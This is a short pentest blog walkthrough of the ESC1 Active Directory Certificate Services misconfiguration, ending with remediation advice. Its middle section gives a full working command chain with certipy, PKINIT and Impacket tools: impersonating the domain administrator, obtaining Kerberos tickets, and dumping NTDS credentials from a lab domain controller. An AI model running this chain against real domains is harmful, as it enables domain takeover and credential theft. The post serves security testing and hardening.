June 16, 2026
ESC1 — Weaponizing Misconfigured Certificate Templates for Domain Admin Privilege Escalation
The dangerous ADCS vulnerability that turns misconfigured certificate templates into a Domain Admin takeover path.
0xjamesli
3 min read
ESC1 is an AD CS certificate-template misconfiguration vulnerability that lets a user with enrollment rights request an authentication-capable certificate while supplying another identity in the certificate request. That certificate can then be used to authenticate as the supplied user or computer.
Basically it's an overly permissive template setting that allows low-privilege users to request certificates impersonating other accounts by abusing subject name supply. Once issued, the certificate can be used for authentication to Active Directory via PKINIT, effectively allowing impersonation of the targeted user and resulting in privilege escalation up to Domain Administrators.
In this article, I will showcase the attack chain for ESC1 exploitation step by step and talk about appropriate remediation plans.
Note that it is only appropriate to test in systems where you have explicit authorization.
ESC1 Requirements
A template is typically ESC1-vulnerable when all of these are true:
- Template is published on an Enterprise CA
- Low-privileged user or group has Enroll rights
- Subject/SAN can be supplied by the requester
- Certificate is valid for authentication
- No manager approval is required
- No authorized signature is required
Tools for Attack
Certipy: Offensive and defensive toolkit for enumerating and abusing Active Directory Certificate Services.
Impacket: Collection of Python classes for working with network protocols and focusing on providing low-level programmatic access to the packets.
PKINIT: Tools for Kerberos PKINIT and relaying to AD CS.
NetExec: Network service exploitation tool, successor to CrackMapExec.
Attack Exploitation
Enumerate vulnerable AD CS certificate templates in the domain.
certipy find -u test1@lab1.com -p 'password123' -dc-ip 10.10.10.1 -vulnerable -stdoutcertipy find -u test1@lab1.com -p 'password123' -dc-ip 10.10.10.1 -vulnerable -stdoutWe can see the template called "WebServerwithexportablekey" has Enrollee Supplies Subject set to True and Enrollment Permissions contain "Authenticated Users" meaning that anyone with a valid domain account can create a certificate impersonating any accounts in the domain. No approval is required since Requires Manager Approval is set to False.
Request a certificate for bult-in domain admin accountadministrator@lab1.comfrom the vulnerable AD CS template using the test1 account (normal domain user account).
certipy req -u 'test1' -p 'password123' -dc-ip 10.10.10.1 -target adcs.lab1.com -ca dc.lab1.com -template 'WebServerwithexportablekey' -upn 'administrator@lab1.com' -sid 'S-1-5-21-117609710-436374069-1202660629-500'certipy req -u 'test1' -p 'password123' -dc-ip 10.10.10.1 -target adcs.lab1.com -ca dc.lab1.com -template 'WebServerwithexportablekey' -upn 'administrator@lab1.com' -sid 'S-1-5-21-117609710-436374069-1202660629-500'
Use the created certificate to request a Kerberos TGT for administrator@lab1.com and save it as admin.ccache
python3 gettgtpkinit.py -cert-pfx ../administrator.pfx 'lab1.com'/'administrator' ../admin.ccachepython3 gettgtpkinit.py -cert-pfx ../administrator.pfx 'lab1.com'/'administrator' ../admin.ccache
Set the environment variableKRB5CCNAME so other Kerberos-aware tools can use that ticket cache for authentication. Then use it to request a CIFS service ticket (TGS) for DC.LAB1.COM as administrator, without providing a password.
export KRB5CCNAME=/home/james/admin.ccache
getST.py -spn 'CIFS/DC.LAB1.COM' -k -no-pass 'lab1.com'/'administrator'export KRB5CCNAME=/home/james/admin.ccache
getST.py -spn 'CIFS/DC.LAB1.COM' -k -no-pass 'lab1.com'/'administrator'
Use the saved service ticket to access the domain controller over SMB as domain admin and dump domain credentials. Full domain compromise is achieved.
export KRB5CCNAME=/home/james/administrator@CIFS_DC.LAB1.COM@LAB1.COM.ccache
nxc smb 10.10.10.1 -u 'administrator' -k --use-kcache --kdcHost DC --ntds --user 'administrator'export KRB5CCNAME=/home/james/administrator@CIFS_DC.LAB1.COM@LAB1.COM.ccache
nxc smb 10.10.10.1 -u 'administrator' -k --use-kcache --kdcHost DC --ntds --user 'administrator'
Remediation
The recommended remediations are taken from the article Secure Configuration and Hardening of Active Directory Certificate Services
Most of the good stuff are already described in details from the article, so I won't repeat everything here, just take the time to read it. In short, few recommendations are the following:
- Disable the ability for users to supply the subject name in certificate requests unless strictly required. Enforce "Build from Active Directory information" for identity population.
- Restrict certificate template enrollment permissions to only explicitly required security principals. Avoid allowing broad groups such as "Domain Users" or "Authenticated Users" to enroll in templates that are intended for privilege use only.
- Require manager approval workflow for certificate issuance on sensitive templates where possible.
- Turn on certificate service auditing in the auditing tab where you can configure all of the events captured by the event viewer.